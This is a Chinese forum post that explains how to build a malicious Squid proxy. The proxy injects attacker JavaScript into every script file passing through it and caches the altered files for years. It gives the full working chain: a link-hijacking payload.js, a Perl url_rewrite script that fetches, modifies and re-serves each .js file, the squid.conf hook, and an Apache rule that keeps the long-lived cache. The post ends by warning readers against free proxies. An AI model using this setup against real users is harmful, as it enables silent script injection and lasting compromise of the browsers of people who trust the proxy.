本帖最后由 默小文 于 2015-6-7 23:19 编辑
简单的修改SQUID的配置就可以做到
什么是SQUID?
Squid是一个缓存Internet数据的软件,其接收用户的下载申请,并自动处理所下载的数据。当一个用户想要下载一个主页时,可以向Squid发出一个申请,要Squid代替其进行下载,然后Squid连接所申请网站并请求该主页,接着把该主页传给用户同时保留一个备份,当别的用户申请同样的页面时,Squid把保存的备份立即传给用户,使用户觉得速度相当快。Squid可以代理HTTP、FTP、GOPHER、SSL和WAIS等协议并且,Squid可以自动地进行处理,可以根据自己的需要设置Squid,使之过滤掉不想要的东西。
Squid可以工作在很多的操作系统中,如AIX、Digital、UNIX、FreeBSD、HP-UX、Irix、Linux、NetBSD、Nextstep、SCO、Solaris、OS/2等。
实现方法非常简单:
1.在一台Linux服务器上安装Squid。
2.修改服务端的代码,在所有传输过来的javascrip去掉t代码中都插入一段我们的代码并发送出去。
3.设置我们修改过的js文件的缓存时间尽可能的高。
这个方法同样适用于开启了ssl的网站,如果网站加载了不安全的资源(比如一个http站点的jquery),大多数浏览器会给出提醒,但很少有人关注。
Chema说在他发布代理服务器的几天之后就有超过5000人适用他的代理,大多数人用它做一些不好的事情,因为自己使用了代理,所以认为是匿名且安全的,但是他们万万没想到代理服务器也会做坏事。
制作你的恶意代理服务器
如果你已经有了squid代理服务器,你还需要一个web服务器,例如apache。
第一步 创建一个Payload
我使用一个简单的脚本作为演示,把所有的超链接指向我的网站。
/etc/squid/payload.js
[mw_shl_code=javascrip去掉t,true]for(var i=0;i<document.getelementsbytagname('a').length;i++)
document.getElementsByTagName('a').href = "https://blog.haschek.at";[/mw_shl_code]
第二步 编写脚本感染所有的js文件
/etc/squid/poison.pl
[mw_shl_code=perl,true]
#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
while(<>)
{
chomp $_;
if($_ =- /(.*.js)/i)
{
$url = $1;
system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
system("chmod o+r /var/www/tmp/$pid-$count.js");
system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");
print "http://127.0.0.1:80/tmp/$pid-$count.js";
}
else
{
print "$_";
}
$count++;
}[/mw_shl_code]
这个脚本用wget获取页面原始的javascrip去掉t文件,然后添加/etc/squid/payload.js中的代码并把修改后的文件发送到客户端,同时你需要创建/var/www/tmp目录,并允许squid在其中写文件。这个目录会存储修改后的js文件。
第三步 把上面的脚本和Squid结合起来
在/etc/squid/squid.conf中添加
[mw_shl_code=html,true]url_rewrite_program /etc/squid/poison.pl[/mw_shl_code]
第四步 使缓存永不失效
/var/www/tmp/.htaccess
[mw_shl_code=html,true]ExpiresActive On
ExpiresDefault "access plus 3000 days"[/mw_shl_code]
这将告诉apache给他一个超长的过期时间,直到用户清理他们的缓存。
如果你连接了这个代理,你点击任何一个超链接都会跳转到我的网站,即使你之后不再使用这个代理,缓存也依然存在。我只是使用了一个不具有攻击性的payload,利用这个方法,黑客能做的事情还有更多。所以,提醒自己和朋友谨慎使用免费的代理。
|